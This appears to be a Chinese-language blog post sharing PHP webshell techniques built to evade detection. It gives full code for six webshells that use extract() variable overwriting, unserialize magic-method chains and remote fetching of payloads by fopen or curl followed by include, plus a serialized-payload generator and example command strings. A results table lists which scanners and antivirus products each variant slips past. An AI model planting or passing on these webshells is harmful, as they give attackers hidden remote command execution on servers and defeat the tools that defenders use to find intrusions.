分享几个PHP的webshell免杀思路

前言:网上的免杀思路有不少,不过大部分是基于混淆和加密的,我这里分享两个基于匿名函数、变量覆盖和反序列化的webshell思路,思路来源于深信服EDR的RCE漏洞。

ps:远程获取的时候,其实也可以用fopen读取远程文件,更加方便点,但是感觉这个函数貌似比较常用,可能会被一些waf或者查杀工具查到,所以用到了远程获取的地方,分别使用了fopen函数和curl进行。

先把webshell列出来,有下面几位选手:

① extract_webshell

<?php
if($_GET['exec']==="0"){
    exit;
}else if($_GET['exec']==="1"){
        call_user_func(function() {
            $cmd = function($params){
                extract($params);
                $a($b);
            };
            $cmd($_REQUEST);
        });
}
?>

一号选手解析:

这个思路是深信服EDR变量覆盖导致RCE的漏洞,extract函数注册了数组中的键为变量名,值为变量的值,这里接收$_REQUEST,然后利用变量函数执行$a($b),所以只要传参数exec=1&a=system&b=whoami,即可执行,等同于system(whoami)

② unserialize_extract_webshell

<?php
class test{
    public $id = array('a'=>'1','b'=>'2');
    function __wakeup(){
        echo $this;
    }

    function __toString(){
        call_user_func(function() {
            $cmd = function($params){
                extract($params);
                $a($b);
            };
            $cmd($this->id);
        });
    }
};
if($_GET['exec']==="0"){
    exit;
}else if($_GET['exec']==="1"){
    $test1 = $_GET['string'];
    $test2 = unserialize($test1);
}

二号选手解析:

二号是基于一号选手思路的一个升级,利用反序列化来传参数,执行命令的逻辑也比一号要复杂一点,反序列化之后会自动调用__wakeup函数,然后echo $this,会调用__toString函数,然后的流程就和一号选手一样了,最终我们需要传递的参数就是exec=1&string=O:4:"test":1:{s:2:"id";a:2:{s:1:"a";s:6:"system";s:1:"b";s:6:"whoami";}}

③ unserialize_extract_remote_webshell_fopen

<?php
class test{
    public $id = array('a'=>'1','b'=>'2');
    function __wakeup(){
        echo $this;
        exit;
    }

    function __toString(){
        call_user_func(function() {
            $cmd = function($params){
                extract($params);
                $a($b);
            };
            $cmd($this->id);
        });
    }
};
if($_GET['exec']==="0"){
    exit;
}else if($_GET['exec']==="1"){
    $shell_addr_1="127.0";
    $shell_addr_2=".0.1";
    $shell_addr_3="shell.txt";
    $file_handle = fopen("http://".$shell_addr_1.$shell_addr_2."/".$shell_addr_3,"r");
    $shell = fgets($file_handle);
    $test2 = unserialize($shell);
}

③.2 unserialize_extract_remote_webshell_curl

<?php
class test{
    public $id = array('a'=>'1','b'=>'2');
    function __wakeup(){
        echo $this;
        exit;
    }

    function __toString(){
        call_user_func(function() {
            $cmd = function($params){
                extract($params);
                $a($b);
            };
            $cmd($this->id);
        });
    }
};
if($_GET['exec']==="0"){
    exit;
}else if($_GET['exec']==="1"){
    $ch = curl_init();
    $timeout = 5;
    $shell_addr_1="127.0";
    $shell_addr_2=".0.1";
    $shell_addr_3="shell.txt";
    curl_setopt ($ch, CURLOPT_URL, $shell_addr_1.$shell_addr_2."/".$shell_addr_3);
    curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
    $test1 = curl_exec($ch);
    curl_close($ch);

    $test2 = unserialize($test1);
}

三号选手解析:

三号是基于二号选手思路的一个升级,反序列化的数据是从网络上远程获取的,也就相当于命令获取到payload,然后再反序列化执行,只需要在我们的远程web服务器上放上我们的payload,payload也和二号选手一样,即把O:4:"test":1:{s:2:"id";a:2:{s:1:"a";s:6:"system";s:1:"b";s:6:"whoami";}}放到服务器上,我本地测试就放到了web根目录的shell.txt上

④ include_shell_fopen

<?php
if($_GET['exec']==="0"){
    exit;
}else if($_GET['exec']==="1"){
    $shell_addr_1="127.0";
    $shell_addr_2=".0.1";
    $shell_addr_3="eval.txt";
    $file_handle = fopen("http://".$shell_addr_1.$shell_addr_2."/".$shell_addr_3,"r");
    $shellcode = fgets($file_handle);

    file_put_contents("conf_bak.ini",$shellcode);
    include("conf_bak.ini");
    unlink("conf_bak.ini");
}

④.2 include_shell_curl

<?php
if($_GET['exec']==="0"){
    exit;
}else if($_GET['exec']==="1"){
    $ch = curl_init();
    $timeout = 5;
    $shell_addr_1="127.0";
    $shell_addr_2=".0.1";
    $shell_addr_3="eval.txt";
    curl_setopt ($ch, CURLOPT_URL, $shell_addr_1.$shell_addr_2."/".$shell_addr_3);
    curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
    $shellcode = curl_exec($ch);
    curl_close($ch);

    file_put_contents("conf_bak.ini",$shellcode);
    include("conf_bak.ini");
    unlink("conf_bak.ini");
}

用到反序列化的生成序列化payload的脚本:

serialize_shellcode_creater

<?php
class test{
    public $id;
};
$test1 = new test();
$test1->id["a"] = "system";
$test1->id["b"] = "whoami";
print(serialize($test1));

四号选手解析:

四号选手是基于文件包含的思路,而php的远程包含默认是不开启的,所以利用远程获取之后,创建文件进行包含,再把文件删除,文件是会存在一下,然后马上删除。同理,也要把普通的一句话木马放在远程服务器上,我本地测试就把<?php @eval($_GET["cmd"]);?>放到本地web根目录的eval.txt,最终payload就是exec=1&cmd=system("whoami");

1:extract_webshell

2:unserialize_extract_webshell

3:unserialize_extract_remote_webshell_fopen

3.2:unserialize_extract_remote_webshell_curl

4:include_shell_fopen

4.2:include_shell_curl

免杀表现:过√,不过×(最新版本)

1 2 3 3.2 4 4.2
百度WEBDIR+ ×
河马 × × ×
长亭webshellchop × ×
D盾 ×(等级3) ×(等级1) ×(等级1) ×(等级1) ×(等级1)
火绒
360
微步在线
VirusTotal
奇安信威胁情报

后面这几个貌似主要是检测病毒的,检测webshell也只能检测出来比较常见的

基本上市面上的检测工具和网站大部分都能过,原本我写这些是为了试一下能不能过阿里的伏魔赏金计划,但是最终是失败了。

能过阿里伏魔引擎的老哥,如果可以的话能够分享下思路感激不尽!!!